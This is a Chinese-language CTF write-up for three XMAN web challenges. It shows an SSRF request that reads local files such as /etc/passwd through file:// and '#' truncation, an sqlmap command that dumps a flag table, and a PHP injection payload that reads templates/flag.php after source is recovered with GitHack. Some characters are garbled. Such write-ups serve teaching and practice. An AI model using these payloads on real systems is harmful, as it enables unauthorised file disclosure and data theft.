XMAN -個人排位賽 WEB-WRITEup
Simple SSRF
+ 備注：curl + # 截斷
首先在輸入框輸入發(fā)現(xiàn)只能輸入www.baidu.com這個域名并測試出用井號（%23）可以進行截斷
于是測試用file:// 嘗試讀取本地文件
-
http://202.112.51.184:11080/?submit=%CC%E1%BD%BB%B2%E9%D1%AF&site=file://www.baidu.com/etc/passwd%23發(fā)現(xiàn)可以讀取成功
ssrf1.png
（容我真的沒有想到flag會在etc/flag.txt）
view-source:http://202.112.51.184:11080/?submit=%CC%E1%BD%BB%B2%E9%D1%AF&site=file://www.baidu.com/etc/flag.txt%23ssrf2.png
bbsqli
直接放到sqlmap中跑出結(jié)果
c:/python27/python.exe sqlmap.py -u "http://202.112.51.184:16080" --cookie "PHPSESSID=56a230bad525bab2c441cb1f64d7106e" --level 2 -D sqli -T [GDJM_flag] -C flag --dump
bbsqli.png
flag:xman{YoVr_4R3_a_Bada5s_Ge7_My_Fl4g}
makeit
-
首先看到
http://202.112.51.184:15080/?page=about中有I used Git
makeit1.png于是直接Githack index.php
makeit2.png構(gòu)造
page=1') or print_r(file_get_contents('templates/flag.php'));//view-source:http://202.112.51.184:15080/?page=1') or print_r(file_get_contents('templates/flag.php'));//makeit3.png
XMAN{flag_is_so_cool}
